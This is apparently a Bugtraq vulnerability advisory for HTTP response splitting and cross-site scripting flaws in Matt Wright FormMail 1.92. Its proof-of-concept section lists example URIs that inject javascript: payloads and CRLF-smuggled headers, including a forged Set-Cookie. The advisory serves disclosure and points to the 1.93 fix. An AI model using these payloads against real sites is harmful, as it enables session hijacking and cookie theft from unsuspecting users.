Matt Wright FormMail HTTP Response Splitting and Cross Site Scripting Vulnerabilities
BID:34929
Info
Matt Wright FormMail HTTP Response Splitting and Cross Site Scripting Vulnerabilities
| Bugtraq ID: | 34929 |
| Class: | Input Validation Error |
| CVE: |
CVE-2009-1776 CVE-2009-1777 |
| Remote: | Yes |
| Local: | No |
| Published: | May 12 2009 12:00AM |
| Updated: | Jul 15 2009 10:46PM |
| Credit: | Digital Security Research Group |
| Vulnerable: |
Matt Wright FormMail 1.92 |
| Not Vulnerable: |
Matt Wright FormMail 1.93 |
Discussion
Matt Wright FormMail HTTP Response Splitting and Cross Site Scripting Vulnerabilities
FormMail is prone to an HTTP-response-splitting vulnerability and multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user, steal cookie-based authentication credentials, and influence how web content is served, cached, or interpreted. This could aid in various attacks that try to entice client users into a false sense of trust.
These issues affect FormMail 1.92; prior versions may also be affected.
FormMail is prone to an HTTP-response-splitting vulnerability and multiple cross-site scripting vulnerabilities because it fails to properly sanitize user-supplied input.
An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user, steal cookie-based authentication credentials, and influence how web content is served, cached, or interpreted. This could aid in various attacks that try to entice client users into a false sense of trust.
These issues affect FormMail 1.92; prior versions may also be affected.
Exploit / POC
Matt Wright FormMail HTTP Response Splitting and Cross Site Scripting Vulnerabilities
To exploit these issues, an attacker must entice an unsuspecting victim into following a malicious URI.
The following example URIs are available:
http://www.example.com/[email protected]&subject=1&redirect=javascript:alert(%27USH%27);
http://www.example.com/[email protected]&subject=1&return_link_url=javascript:alert(%27USH%27);&return_link_title=USH
http://www.example.com/[email protected]&subject=1&redirect=http://www.example.com%0D%0aSet-Cookie:auth%3DUSH;vuln%3DHTTPHeaderInjection;
http://www.example.com/[email protected]&subject=1&redirect=http://www.example.com%0D%0A%0FContent-Length:%200%0D%0AContent-Type:%20text/plain%0D%0AStatus:302%0D%0A%0D%0AHTTP/1.1%20200%20OK%0D%0AContent-Type:%20text/plain%0D%0Ahttp://www.example.com
To exploit these issues, an attacker must entice an unsuspecting victim into following a malicious URI.
The following example URIs are available:
http://www.example.com/[email protected]&subject=1&redirect=javascript:alert(%27USH%27);
http://www.example.com/[email protected]&subject=1&return_link_url=javascript:alert(%27USH%27);&return_link_title=USH
http://www.example.com/[email protected]&subject=1&redirect=http://www.example.com%0D%0aSet-Cookie:auth%3DUSH;vuln%3DHTTPHeaderInjection;
http://www.example.com/[email protected]&subject=1&redirect=http://www.example.com%0D%0A%0FContent-Length:%200%0D%0AContent-Type:%20text/plain%0D%0AStatus:302%0D%0A%0D%0AHTTP/1.1%20200%20OK%0D%0AContent-Type:%20text/plain%0D%0Ahttp://www.example.com
Solution / Fix
Matt Wright FormMail HTTP Response Splitting and Cross Site Scripting Vulnerabilities
Solution:
The vendor released FormMail 1.93 to address this issue. Please see the references for more information.
Matt Wright FormMail 1.92
Solution:
The vendor released FormMail 1.93 to address this issue. Please see the references for more information.
Matt Wright FormMail 1.92
-
Matt Wright FormMail 1.93.0
http://www.scriptarchive.com/download.cgi?s=formmail
References
Matt Wright FormMail HTTP Response Splitting and Cross Site Scripting Vulnerabilities
References:
References:
- FormMail Homepage (Matt Wright)
- FormMail 1.92 Multiple Vulnerabilities (ascii
) - Re: FormMail 1.92 Multiple Vulnerabilities (David Cantrell
) - FormMail 1.92 Multiple Vulnerabilities (Francesco "ascii" Ongaro)
- History (Matt Wright)